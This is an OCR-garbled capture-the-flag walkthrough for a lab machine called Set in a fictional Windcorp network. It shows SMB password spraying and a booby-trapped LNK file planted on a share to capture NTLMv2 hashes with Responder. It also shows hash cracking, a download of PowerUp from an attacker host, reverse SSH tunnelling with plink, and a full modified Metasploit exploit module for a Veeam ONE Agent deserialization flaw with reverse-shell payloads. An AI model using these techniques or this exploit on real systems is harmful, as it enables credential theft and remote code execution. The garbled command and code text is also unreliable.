Walkthrough - Set
Story
Once again you find yourself on the internal network of the Windcorp
Corporation. This tasted so good last time you were there, you came
back
for more. However, they managed to secure the Domain Controller
this time, so you need to find another server and your first scan
discovered Set. Set is used as a platform for developers and has had
some problems in the recent past. They had to reset a lot of users
and restore backups (maybe you were not the only hacker on their
network?). So they decided to make sure all users used proper
passwords and closed of some of the loose policies.

Can you still find a way in? Are some users more equal than others?
Or more sloppy? And maybe you need to think outside the box a little
bit to circumvent their new security controls...

Happy Hacking! @4nqr34z and @theart42
Let's start with enumeration first.

nmap

Host is up, received arp-response (0.00054s latency).

Not shown: 65527 ports

Reason: 65527 no-responses

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON

80/ open http syn-ack ttl 128

135/ open msrpc syn-ack ttl 128

139/ open netbios-ssn syn-ack ttl 128
443/ open https syn-ack ttl 128
445/ open microsoft-ds syn-ack ttl 128
5357/ open wsdapi syn-ack ttl 128
5985/ open wsman syn-ack ttl 128
49669/ open unknown syn-ack ttl 128
MAC Address: 00:0C:29:F5:C3:FE (VMware)

Enumd4linux reveals nada



Target Information

. 192.168.16.19
RID Range .. . 500-550,1000-1050
Username v
Password ... .
Known Usernames .. administrator, guest, krbtgt, domain admins, root,

Enumerating Workgroup/Domain on 192.168.16.19

[+] Got domain/workgroup name: THMGROUP

Nbtstat Information for 192.168.16.19

Looking up status of 192.168.16.19
SET <00> - B <ACTIVE> Workstation Service
THMGROUP <@0> - <GROUP> B <ACTIVE> Domain/Workgroup Name
SET <20> - B <ACTIVE> File Server Service

MAC Address = 00-0C-29-F5-C3-FE

Session Check on 192.168.16.19

[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.

Target IP 192.168.16.19

Target Host H 192.168.16.19

Target Port: 80

Start Time: 2020-06-16 19:41:29 (GMT2

Server: Microsoft-IIS/10.0

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
No CGI Directories found (use '-C all' to force check all possible dirs)

Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

7915 requests: @ error(s) and 5 item(s) reported on remote host

End Time: 2020-06-16 19:41:44 (GMT2) (15 seconds)

Nothing much

nikto on 443:

- Nikto v2.1.6

+ Target IP 192.168.16.19

+ Target Hostname: 192.168.16.19

+ Target Port

+ SSL Info: ] : /CN=set.windcorp.thm
ECDHE-RSA-AES256-G(M-SHA384
/CN=set.windcorp.thm

+ Server: Microsoft-HTTPAPI/2.0

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.

+ The site uses SSL and Expect-CT header is not present.

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Hostname '192.168.16.19' does not match certificate's names: set.windcorp.thm

Stopping scan and adding hostname to hosts-file

New nikto using hostname



Target IP: .168.16.19
Target Hostname: .windcorp.thm
Tar,

SSL Info: Subject: /CN=set.windcorp.thm
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /CN=set.windcorp.thm

Start Time: 2020-06-16 19:44:18 (GMT2)

Server: Microsoft-II
The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

The site uses SSL and the Strict-Transport-Security HTTP header is not defined.

The site uses SSL and Expect-CT header is not present.

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
No CGI rectories found (use '-C all' to force check all possible dirs)

The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack

Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

7863 requests: @ error(s) and 8 item(s) reported on remote host

End Tim 2020-06-16 19:45:58 (GMT2) (100 seconds)

+ 1 host(s) tested

Let's look at their internal web site

Manual testing/browsing

n o P

contact@windcorp.thm +1 5589 55488 55 Mon-Fri 9am - 5pm Get Started

Set Home  About  Services  Portfolio ~ Team  Pricing Blog  Contact

Welcome to Set

A part of Windcorp Inc.

> Get Started

Why Choose

Set Bb (L]

Lorem ipsum dolor sit amet, Corporis Ullamco laboris Labore

iscing elit, sed do voluptates sit ladore pan consequatur
eiusmod tempor incididunt ut labore

et dolore magna aliqua. Asperiores

Consequuntur sunt aut Excepteur sint Aut suscipit aut cum
doloressed et-TenetlinqUiiaieos: quasi enim aliquam occaecat cupidatat non nemo deleniti aut
Autem tempore quibusdam vel quae harum pariatur proident, sunt in culpa omnis. Doloribus ut
necessitatibus optio ad corporis. laboris nisi ut aliquip qui officia deserunt maiores omnis facere

| teammore
Both 80 and 443 leads to the same site

In the contact-section, we find an interesting field:



Contact

Magnam dolores commodi suscipit. Necessitatibus eius consequatur ex aliquid fuga eum quidem. Sit sint consectetur velit. Quisquam quo:
quisquam cupiditate. Et nemo qui impedit suscipit alias ea. Quia fugiat sit in iste officiis commodi quidem hic quas.

@ Our Address & EmailUs @ Call Us
A108 Adam Street, info@windcorp.thm +1 5589 55488 55
New York, NY 535022 contact@windcorp.thm +1 6678 254445 41

ED

A search field, for searching contacts.

New York, NY 535022 contact@windcorp.thm +1 6b/8 254445 41

Name Phone Email
Aaron Wheeler{9553310397|aaronwhe@windcorp.thm

Looking at the code, we see It is searching a xml-file

xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
myFunction(this);
}
};
xmlhttp.open("GET", "assets/data/users.xml" , true);
xmlhttp.send();

unction myFunction(xml) {
xmlDoc = xml.responseXML;
x = xmlDoc.getElementsByTagName(" row");
input = document.getElementById("input").value;
size = input.length;
if (input == null || input == "")
{

document.getElementById("results").innerHTML= "Please enter a character or name!";
return false;

}

for (i=0;i<x.length;i++)

Opening the XML directly, gives us a lot of contacts.



‘Aaron Wheeler 9553310397 aaronwhe@windcorp thm Addison Russell 9425499327 addisonrus @windcorp.thm Aiden Boyd 9755649273 aidenboy @windcorp.thm Alice Peterson 9148366317 alicepet@windcorp.thm Allison Neal 9828994495

allisonnea@windcorp.thm Alyssa Baker 9163027451 alyssabak@windcorp.thm Andrea Curtis 9755196728 andreacur@windcorp.thm Andrea Harper 9585111671 andreahar@windcorp.thm Andrea Stephens 95585
andreastc@windcorp.thm Andrew Powell 9390415125 andrewpow @windcorp.thm Aubree Hopkins 9632339125 aubrechop@windeorp.thm Becky Welch 9491169020 beckywel @windcorp.thm Bernard Mckinney 9479040114
bernardmek@windcorp.thm Billie Hill 9246421411 billiehil@windcorp.thm Billie Ryan 9366649525 billierya@windcorp.thm Brandon Spencer 9410685652 brandonspe@windcorp.thm Brandy Rodriguez 9185936482 brandyrod@windcorp.thm
Brayden Hawkins 9744517297 braydenhaw @windcorp.thm Brayden Webb 9077893600 braydenweb@windcorp.thm Byron Wilson 9086090764 byronwil@windcorp.thm Caleb Rodriquez 9750362178 calebrod@windcorp.thm Chloe West
9323971290 chloewes@windcorp.thm Christine Ruiz 9773238242 christinerui@windcorp.thm Claire Hayes 9533960519 clai i thm Craig id 9649854140 crai indcorp.thm Dana Ross 9372163120
danaros@windcorp.thm Daniclle Thompson 9265723462 danielletho@windcorp.thm Darrell Pearson 9064618951 darrellpea@windcorp.thm Don Burns 9173623900 donbur@windcorp.thm Don Perkins 9084074065 donper@windcorp.thm Edna
Howard 9255976264 ednahow@windcorp.thm Edna Perez 9751554351 ednaper@windcorp.thm Edna Reyes 9678550070 ednarey @windcorp.thm Eugene Woods 9776913157 cugenewoo@windcorp.thm Fernando Hunter 9477053681

i thm Flenn Rodriguez 9620223505 i thm Floyd Peters 9657958662 floydpet@windcorp.thm Gabriel Allen 9643943457 gabrielall @windcorp.thm Gertrude Willis 9660380139
gertrudewil@windcorp.thm Gilbert Taylor 9497814296 gilberttay @windcorp.thm Glenda Snyder 9645249612 glendasny@windcorp.thm Gordon Banks 9221587791 gordonban@windcorp.thm Harvey Reyes 9603908632
harveyrey@windcorp.thm Heidi Watkins 9451278553 heidiwat@windcorp.thm Herminia Cole 9581431204 herminiacol@windcorp.thm Holly Welch 9443104181 hollywel@windcorp.thm Hugh Foster 9526447818 hughfos@windcorp.thm Ivan
Ray 9677923384 ivanray@windcorp.thm Jamic Grant 9387534833 jamiegra@windcorp.thm Janice Kim 9067442150 janicekim@windcorp.thm Jason Perez 9642625687 jasonper@windcorp.thm Jayden Hunter 9508507439
jaydenhun@windcorp.thm Jill Beck 9638187838 jillbec@windcorp.thm Jimmie Barnes 9795018610 jimmiebar@windcorp.thm Jimmy Porter 9350381314 jimmypor@windcorp.thm Jose Byrd 9325177477 josebyr@windcorp.thm Juanita
Ramirez 9288815642 juanitaram@windcorp.thm Julio Craig 9254762120 juliocra@windcorp.thm Kay Hart 9796208755 kayhar@windcorp.thm Kelly Jennings 9272193146 kellyjen@windcorp.thm Kitty Martinez 9344181558
Kittymar@windcorp.thm Kristin Freeman 9671862624 kristinfre@windcorp.thm Leah Burns 9370945493 leahbur@windcorp.thm Leah Larson 9405192106 leahlar@windcorp.thm Lena Moore 9152306286 lenamoo@windcorp.thm Lesa Rogers
9117277093 lesarog@windcorp.thm Mac Gutierrez 9248353873 macgut@windcorp.thm Marjorie Adams 9815544674 marjoricada@windcorp.thm Mason Morgan 9763900674 masonmor@windcorp thm Max Douglas 9059976510
maxdou@windcorp.thm Meghan Chavez 9343149282 meghancha@windcorp.thm Meghan Holmes 9411201102 meghanhol @windcorp.thm Michelle Watson 9403324436 michellewat@windcorp.thm Miriam Warren 9169665651
miriamwar@windcorp.thm Myrile Owens 9236359982 i thm Natalic 9139014812 i .thm Natalic Pena 9065067491 nataliepen@windcorp.thm Nathanicl Martin 9238715241
nathaniclmar@windcorp.thm Nicholas Ramos 9195528448 nicholasram@windcorp.thm Norman Andrews 9627928079 normanand@windcorp.thm Norman Turner 9686217917 normantur@windcorp.thm Owen Kelly 9634333042
owenkel@windcorp.thm Pamela Green 9591861259 pamelagre@windcorp.thm Peggy Hale 9516199316 peggyhal @windcorp.thm Penny Ray 9601193921 pennyray@windcorp.thm Peyton James 9418203135 peytonjam@windcorp.thm Phyllis
Richards 9544834180 phyllisric@windcorp.thm Priscilla Newman 9713581149 priscillanew@windcorp.thm Randy Gregory 9852579096 randygre@windcorp.thm Renee Lucas 9427221487 renceluc@windcorp.thm Ricky Reed 9759905687
rickyree@windcorp.thm Roberta Phillips 9684359579 robertaphi@windcorp.thm Rodney Henderson 9754448044 rodneyhen@windcorp.thm Roger Meyer 9083492998 rogermey @windcorp.thm Rosemary West 9591024361
rosemarywes@windcorp.thm Rose Newman 9205410994 rosenew@windcorp.thm Ross Powell 9760873338 rosspow @windcorp.thm Roy Mason 9471743184 roymas@windcorp.thm Ruben Schmidt 9841777068 rubensch@windcorp.thm Sally
Hanson 9727402503 sallyhan@windcorp.thm Sally Ortiz 9097609430 sallyort@windcorp.thm Sally Stevens 9253372851 sallyste@windcorp.thm Salvador Lee 9721790593 salvadorlee@windcorp.thm Seth Hicks 9256479847
sethhic@windcorp.thm Soham Kelly 9267003653 sohamkel @windcorp.thm Soham Tucker 9748199456 sohamtuc@windcorp.thm Sophia Boyd 9533303011 sophiaboy @windcorp.thm Stephanic Reyes 9315764608 stephanicrey @windcorp.thm
Susan Stanley 9418418338 susansta@windcorp.thm Tammy Johnson 9483189047 tammyjoh@windcorp.thm Thomas Webb 9084052439 thomasweb@windcorp.thm Tom Andrews 9696995894 tomand@windcorp.thm Vera Nichols 9751374913
veranic@windcorp.thm Vivan Garrett 9167843402 vivangar@windcorp.thm Wade Reynolds 9660112276 waderey @windcorp.thm Walter Palmer 9849809395 walterpal@windcorp.thm Wayne Woods 9597191398 waynewoo@windcorp.thm
Wendy Robinson 9078070221 wendyrob@windcorp.thm Wyatt Wheeler 9680869094 wyattwhe@windcorp.thm Zack Sullivan 9457576007 zacksul@windcorp.thm navigator._defineGetter__("userAgent", function() {return "Mozilla/5.0 (X11;

These are probably users on the system and their e-mail addresses
could look like a username.

We download the xml-file

»(base) andreas@iMac-5K-2 Downloads % curl http://set.windcorp.thm/assets/data/users.xml -o users.xml
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total  Spent Left Speed

100 12419 100 12419 0 0 74365 @ --:--:1-- --i--i1-- --i1--1-- 74365
»)(base) andreas@iMac-5K-2 Downloads % I

Extracting the usernames to text-file.

xmllint --xpath "//row/email" wusers.xml | sed
—-e 's/<email>//g' | sed -e 's/<\/email>//g' |
sed —e 's/@windcorp.thm//g'>users.txt

We save that list for later. Time do warm up the fuzzers.
Fuzzing for more

Gobuster does a interesting finding

root@kali2:~# gobuster dir --url http://set.windcorp.thm -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt -x txt,asp.aspx,html, htm

Gobuster v3.0.1
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@_FireFar

Url: http://set.windcorp.thm

Threads: 10

Wordlist: /usr/share/dirbuster/wordlists/directory-list-1.0.txt
Status codes: 200,204,301,302,307,401,403

User Agent: gobuster/3.0.1

Extensions: html,htm,txt,asp.aspx

Timeout: 10s

2020/06/16 20:28:17 Starting gobuster

/index.html (Status: 200)
/blog.html (Status: 200)
/assets (Status: 301)
/forms (Status: 301)
/appnotes.txt (Status: 200
/\ (Status: 200)

This file contains a note, probably left behind during the installation:



© > FC 0

Remember to change your default password at once.

X +

set.windcorp.thm/appnotes.txt

Notes for the new user-module.
Send mail to user:

Welcome to Set!

Default password, too common...

© @& hitps://set.windcorp.thm/appnotes.txt

It is too common.

So now we have a hint for a password and we have a user list. Time
for some password-spraying (and praying). Hydra does not work
here, due to the new version of Windows, so we are using msf.

Seclists has a lot of password lists, using the hint we start with some
common ones:

Jusr/share/seclists/Passwords/Common-Credentials/top-20-
common-SSH-passwords.txt

Setting it up

Module options (auxiliary/scanner/smb/smb_login):

ABORT_ON_LOCKOUT
BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DETECT_ANY_AUTH
DETECT_ANY_DOMAIN
PASS_FILE
PRESERVE_DOMAINS
Proxies
RECORD_GUEST
RHOSTS

ntax 'file:<paths>'
RPORT
SMBDomain
SMBPass
SMi
STOP_ON_SUCCESS
THREADS
USERPASS_FILE

per line
USER_AS_PASS
USER_FILE
VERBOSE

Current

false

false

5

false

false

false

false

false

/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords . txt

true

false
192.168.16.19

445

Welcome@l

true
1

false
~/Downloads/users. txt
true

And after a short wait we get a hit

Abort the run when an account lockout is detected
Try blank pas: s for all users
How fast tc from @ to 5
Try each us uple stored in the current database
in the current database to the list
in the current database to the list
tems accepting any authentication

Detect if domain is required for the specified user
File containing passwords, one per line
Respect a username that contains a domain name.
A proxy chain o mat type:host:port[,type:host:port][...]
Record guest-privileg random logins to the database
The target host(s), range CIDR identifier, or hosts file with sy |

The SMB ce port (TCP)

The Windows domain to use for authentication

The password for the specified username

The username to authenticate as

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

File containing users and passwords separated by space, one pair

Try the username as the password for all users
File containing usernames, one per line
Whether to print output for all attempts




.168. 19:445 - Failed: riamwar :webadmin',
19:445 \miriamwar:webmaster',
19:445 \miriamwar

:logo
:Passwérd’,
:Welcome@l',
:root',

:uploader',

tadmin’,
:administrator’,
:marketing’

.16.

.16. \myrtleowe
\myrtleowe
5 rtleowe

19:445

.19:445

6.19:445

6.19:445

.19:445

Scanned 1 of 1 hosts
Auxiliary module execution completed

Redacted §

Lets try to enum SMB, now that we have creds.

First we try WinRM, because we know port 5985 is open. But no go.

So, back to enum4linux

Share Enumeration on 192.168.16.19

Sharename

ADMIN$ Disk Remote Admin

(&) Disk Default share

Files Disk

IPCS IPC Remote IPC
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 192.168.16.19
//192.168.16.19/ADMIN$ Mapping: DENIED, Listing: N/A
//192.168.16.19/C$ Mapping: DENIED, Listing: N/A
//192.168.16.19/Files  Mapping: OK, Listing: OK
//192.168.16.19/IPC$ [E] Can't understand response:
NT_STATUS_INVALID_INFO_CLASS listing \*

We find a share we can access

root@kali2 t# smbclient //192.168.16.19/Files -U myrtleowe
Enter WORKGROUP\myrtleowe's password:
Try "help" to get a list of possible commands.
smb: \> 1s
D @ Mon Jun 15 21:39:14 2020
.. D @ Mon Jun 15 21:39:14 2020
Info.txt A 61 Sun Jun 7 15:13:14 2020

10328063 blocks of size 4096. 6462900 blocks available

smb: \> I



Andreas Finstad
Redacted

Andreas Finstad
Redacted


We are counting on someone unzipping the files, because it says they
will review them.

Not too commonly known, you can change the icon-path in a LNK-file
and point it to a SMB-server capturing the users password-hash.

The beauty with this trick, is that the user don't even has to click the
Ink. Opening a window displaying contents of a folder containing such
a file, is enough.

First we create our Ink, using this excellent tool.

./mslink -1 notimportant -n shortcut —-i \\\
\192.168.16.53\\test -0 shortcut.lnk

zip myfile.zip shortcut.lnk

Starting our friend Responder

[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

Servers:
]
]
[OFF]
[OFF]
SMB server [ON]
Kerberos server [ON]
Q r ]
[ON]
[ON]
]
]
]
[ON]
[ON]

[OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
orce Basic Auth [OFF]
LM downgrade [OFF]
int hosts [OFF]

[etho]
[192.168.16.53]
[random]

Don't Respond To Names ['ISATAP']

[+] Listening for events...


http://www.mamachine.org/mslink/index.en.html
Andreas Finstad
Redacted


Uploading file to share
== Redacted

Try "h

smb: \> put myfile.zip

putting file myfile.zip as \myfile.zip (2.5 kb/s) (average 2.5 kb/s)
smb: \>

And not long after, we get a hash

[*] [NBT-NS] Poisoned answer sent to 192.168.16.3 for name WINDCORP (service: Local Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.16.3 for name THMGROUP (service: Local Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.16.65 for name WORKGROUP (service: Local Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.16.3 for name WORKGROUP (service: Local Master Browser)
A NTLMv2-SSP Client 1 192.168.16.19
A NTLMv2-SSP U name

MB] NTLMv2-SSP Hash H 2CE2426A09B9: 0101000000000000C0653150DEAID201E269D116542E20F 8000000000200080053004D0042003300010
01E00570049004E002D0O500052! e a C e 061006000 521 3 0 041004600
1

6002E 4D00420033002E00 7000800C0653150DEQS
75E1AD42DOSEC: 38AYUOLEISEVLIVULYBOYBULL (VA3 L1UAYYLYV0UNYN00000U00DD

El 0

[*] Skipping previously captured hash for SET\MichelleWat
[*] Skipping previously captured hash for SET\MichelleWat
[*] Skipping previously captured hash for SET\MichelleWat
[+] Exitin,

We set John The Ripper on the hash and after about 8 seconds he
gives us the password.

root@kali2: /home/4ndr # john hash -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 nassword hash (netntlmv2. NTLMv2 C/R MD4 HMAC-MDS 32/64])

Redacted "~

1635Kp/s 1635Kc/s 1635KC/s 1)(OPPQR. .*7Vamos!
--show --format=netntlmv2" options to display all of the cracked passwords reliably

root@kali2:/opt# evil-winrm -i 192.168.16.19 -u MichelleWat -p '!!!MICKEYmouse'

lag2. txt

Privilege escalation

We try uploading powerup, using the excellent upload feature in Evil-
WiInRM. But it failed for some reason. We know our path is correct

PS C:\Users\MichelleWat\Documents> upload powerup.psl

PS C:\Users\MichelleWat\Documents>


Andreas Finstad
Redacted

Andreas Finstad
Redacted

Andreas Finstad
Redacted

Andreas Finstad
Redacted

Andreas Finstad
Redacted


So, uploading this way instead

Invoke-WebRequest http://192.168.16.53/
powerup.psl —-outfile powerup.psl

But....

PS C:\Users\MichelleWat\Documents> import-module ./powerup.psl

Importing *.psl files as modules is not allowed in ConstrainedLanguage modef

At line:1 char:1

+ import-module ./powerup.psl
4 o~
+ CategorylInfo : PermissionDenied: (:) [Import-Module], InvalidOperationException
+ FullyQualifiedErrorId : Modules_ImportPSFileNotAllowedInConstrainedLanguage,Microsoft.PowerShell.Commands.ImportModuleCommand

Powershell Constrained Language Mode is on... Major bummer....
That explains why Evil-WinRM didn't manage to upload too.
So, we have to do the work manually.

We spot a listening port we didn't see from the outside.

PS C:\Users\MichelleWat\Documents> netstat -ano
Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0 0 .0.0.0:0 LISTENING
TCP . 3 . . LISTENING
TCP . 4 . LISTENING
TCP 4 LISTENING
CP LISTENING
TCP 5 LISTENING
TCP LISTENING
TCP . 0 LISTENING
TCP . LISTENING
TCP < LISTENING
TCP 9 .0. LISTENING
TCP . LISTENING
TCP 0.0. 9 LISTENING
TCP 0 LISTENING
TCP 5 ESTABLISHED
TCP . : .0.1: 7 ESTABLISHED

TCP 2805

get—-process
shows an interesting process

19028 34384 svchost
1648 7092 27 svchost
2808 9740 944 svchost
319 14500 1 4 svchost
4688 32612 svchost
1232 5972 svchost
2956 8 svchost
1920 4 svchost
1440 6! 3972 svchost

11808 6 4 svchost
3980 4 svchost
1484 6 4 svchost

188 D System
3760

11 1460
56
27 49916 67 1.66 5024 @ wsmprovhost

PS C:\Users\Michellelat\Documents> [|

Googling about Veeam ONE Agent, makes us sure it is that one



listening to 2805

& helpcenter.veeam.com &

- et..ounty platform  xss.html  Bugcrowd ~Hack The Box ..Testing Labs  HackerOne ~ US Proxy List ..ee Proxy List index.php  vTuner Internet Radio ~ Search - RadioFM  SQL Server E... mode repair

HTML DOM getElementByld() Method HTML DOM write() Method List of Internet top-level domains - Managing Veeam ONE Agents - Vee... Pastebin

- Related documents ¥
lide

Veeam ONE Agent Settings -
Veeam ONE agent features

Remediation actions
This functionality allows to perform predefined actions for triggered alarms

[] Backup log analysis
This functionalty alows to analyze backup server logs to detect potentil problems

Select port number for communication between Veeam ONE agents

Port number: 2805

A bit more research reveals there could be a serious vulnerability
using .Net Deserialization:

’ Veeam ONE Agent .NET Deserialization

Authored by wvu, Edgar Boda-Majer, Michael Zanetta | Site metasploit.com Posted May 4, 2020

This Metasploit module exploits a .NET deserialization vulnerability in the Veeam ONE Agent before the hotfix
versions 9.5.5.4587 and 10.0.1.750 in the 9 and 10 release lines. Specifically, the module targets the
HandshakeResult() method used by the Agent. By inducing a failure in the handshake, the Agent will deserialize
untrusted data. Tested against the pre-patched release of 10.0.0.750. Note that Veeam continues to distribute this
version but with the patch pre-applied.
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PS C:\program files\Veeam\veeam One\veeam one agent> (get-item Veeam.One.Agent.Service.exe).versioninfo.fileversion

9.5.4.4566

And the version looks really promising indeed!

So. We need to get to that port. Port-forwarding user msf? Trying
uploading a meterpreter.

PS C:\Users\MichelleWat\Documents> &./msf.exe

Program 'msf.exe' fa to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:

1 char:1

Windows Defender is very much alive on this server. Making things
even harder. So, meterpreter is not possible.

Maybe we can use a tunnel of some sort? We start with uploading

plink.exe, one of the command line SSH tools for Windows. Make sure
you use the new version!




echo y|&./plink —-R 2805:127.0.0.1:2805 -1 hacker
-pw secret 192.168.16.53

the echo y is required the first time we run plink to tell it to accept the
ssh key of the server. The -R 2805:127.0.0.1:2805 is necessary to
bypass the local firewall and access veeam from your attacker
machine. So now we can access Veeam on port 2805 on our local
attacker machine, cool!

There even is a Metasploit module for the Veeam Exploit. But there is
also another setback...

[
'Windows Command',
'"Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'"PAYLOAD' => 'cmd/windows/
powershell_reverse_tcp'
¥
1
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X641,
'Type' => :win_dropper,
'DefaultOptions' => {
'"PAYLOAD' => 'windows/x64/
meterpreter_reverse_tcp'
¥
1,
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X641,
'Type' => :psh_stager,
'DefaultOptions' => {
'"PAYLOAD' => 'windows/x64/
meterpreter/reverse_tcp'

}

None of the 3 payloads in the module works, because Defender is



killing them!
We need to modify the module to use a more "silent" payload and
inject our own commands, preferably using cmd.exe

We add a target, for running Windows commands. Those
commands will run as the user running the Veeam ONE Agent service.
So if are careful, we should be able to fly under the radar.

#i#t

# This module requires Metasploit: https://
metasploit.com/download

# Current source: https://github.com/rapid7/
metasploit-framework

##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super (
update_info(
info,
'Name' => 'Veeam ONE Agent .NET
Deserialization added payload',
'Description' => %q{
This module exploits a .NET
deserialization vulnerability in the Veeam
ONE Agent before the hotfix versions
9.5.5.4587 and 10.0.1.750 in the
9 and 10 release lines.

Specifically, the module targets the
HandshakeResult() method used by


http://4.th

the Agent. By inducing a failure in
the handshake, the Agent will
deserialize untrusted data.

Tested against the pre-patched release
of 10.0.0.750. Note that Veeam
continues to distribute this version
but with the patch pre-applied.
},
'Author' => [
'Michael Zanetta', # Discovery
'Edgar Boda—-Majer', # Discovery
'wvu', # Module
'4ndr34z' # Added Module target
1,
'References' => [
['CVE', '2020-10914'],
['CVE', '2020-10915'], # This module
['ZDI', '20-545'],
['ZDI', '20-546'1]1, # This module
['URL', 'https://www.veeam.com/
kb3144']
1,
'DisclosureDate' => '2020-04-15', #
Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86,
ARCH_Xé641,
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'"Arch' => ARCH_CMD,
'Type' => :win_cmd,
'‘DefaultOptions' => {
'"PAYLOAD' => 'cmd/windows/
powershell_reverse_tcp'
¥
1
[



'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X641],
'Type' => :win_dropper,
'DefaultOptions' => {
'"PAYLOAD' => 'windows/x64/
meterpreter_reverse_tcp'
}
1,
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X641],
'Type' => :psh_stager,
'DefaultOptions' => {
'"PAYLOAD' => 'windows/x64/
meterpreter/reverse_tcp'
¥

1,

[

'Windows Custom Command',
'"Arch' => ARCH_CMD,
'Type' => :win_cmd2,
'DefaultOptions' => {

'PAYLOAD' => 'windows/x64/exec'
¥

]

1,
'DefaultTarget' => 2,
'DefaultOptions' => {
'WfsDelay' => 10
I
'Notes' => {

'Stability' =>
[SERVICE_RESOURCE_LOSS], # Connection queue may
f1117?

'Reliability' => [REPEATABLE_SESSIONI],

'SideEffects' => [IOC_IN_LOGS,
ARTIFACTS_ON_DISK]

¥
)
)



register_options([
Opt: :RPORT(2805),
OptString.new('CMD', [ true, "The
command to execute", 'ping -nl10 127.0.0.1' 1),
OptString.new(
'HOSTINFO_NAME',
[
true,
'Name to send in host info (must be
recognized by server!)',
'AgentController'
]
)
1)

end

def check
vprint_status("Checking connection to
#{peer}t")
connect

CheckCode: :Detected("Connected to #{peer}.")
rescue Rex::ConnectionError => e
CheckCode: :Unknown("#{e.class}:
#{e.messagel}")
ensure
disconnect
end

def exploit
print_status("Connecting to #{peer}")
connect

print_status("Sending host info to #{peer}")
sock.put(host_info(datastore[ '"HOSTINFO_NAME']))
res = sock.get_once

vprint_good("<—— Host info reply:
#{res.inspect}") if res



print_status("Executing #{target.name} for
#{datastore[ 'PAYLOAD']1}")

case target['Type']
when :win_cmd?2
execute_command(datastore['CMD'])
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
# TODO: Create an option to execute the
full stager without hacking
# :linemax or calling
execute_command(generate_cmdstager(...).join(...
))
execute_cmdstager(
flavor: :psh_invokewebrequest, # NOTE:
This requires PowerShell >= 3.0
linemax: 9001 # It's over 9000
)
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
rescue EOFError, Rex::ConnectionError => e
fail with(Failure: :Unknown, "#{e.class}:
#{e.messagel}")
ensure
disconnect
end

def execute_command(cmd, _opts = {})
vprint_status("Serializing command: #{cmd}")

serialized_payload =
Msf::Util::DotNetDeserialization.generate(
cmd,

gadget_chain: :TextFormattingRunProperties,



formatter: :BinaryFormatter # This is
_exactly_ what we need

)

print_status("Sending malicious handshake to
#{peert")

sock.put(handshake(serialized_payload))

res = sock.get_once
vprint_good("<—— Handshake reply:
#{res.inspect}") if res
rescue EOFError, Rex::ConnectionError => e
fail with(Failure: :Unknown, "#{e.class}:
#{e.messagel}")
end

def host_info(name)
meta = [Ox0205].pack('v")
packed_name = [name.length].pack('C') + name

pkt = meta + packed_name

vprint_good("——> Host info packet:
#{pkt.inspect}")
pkt
end

def handshake(serialized_payload)
# A -1 status indicates a failure, which
will trigger the deserialization
status = [-1].pack('1l<")

length = status.length +
serialized_payload.length

type = 7

attrs = 1

kontext = 0

header = [length, type, attrs,
kontext].pack('VvVV')
padding = "\x00" x 18



result = status + serialized_payload
pkt = header + padding + result
vprint_good("-—> Handshake packet:
#{pkt.inspect}")
pkt
end

end

We add our custom module to metasploit.

Disclosure Date Rank Check Description

normal Yes Veeam ONE Agent .NET Deserialization
fl exploit/windows/misc/veeam_one_agent_deserialization_mod 2020-04-15 normal Yes Veeam ONE Agent .NET Deserialization added payload

Starting a SMB-server on our attacker-machine so we can serve
nc.exe to Set.

root@kali2: # smbserver.py -smb2support -username me -password me myshare .
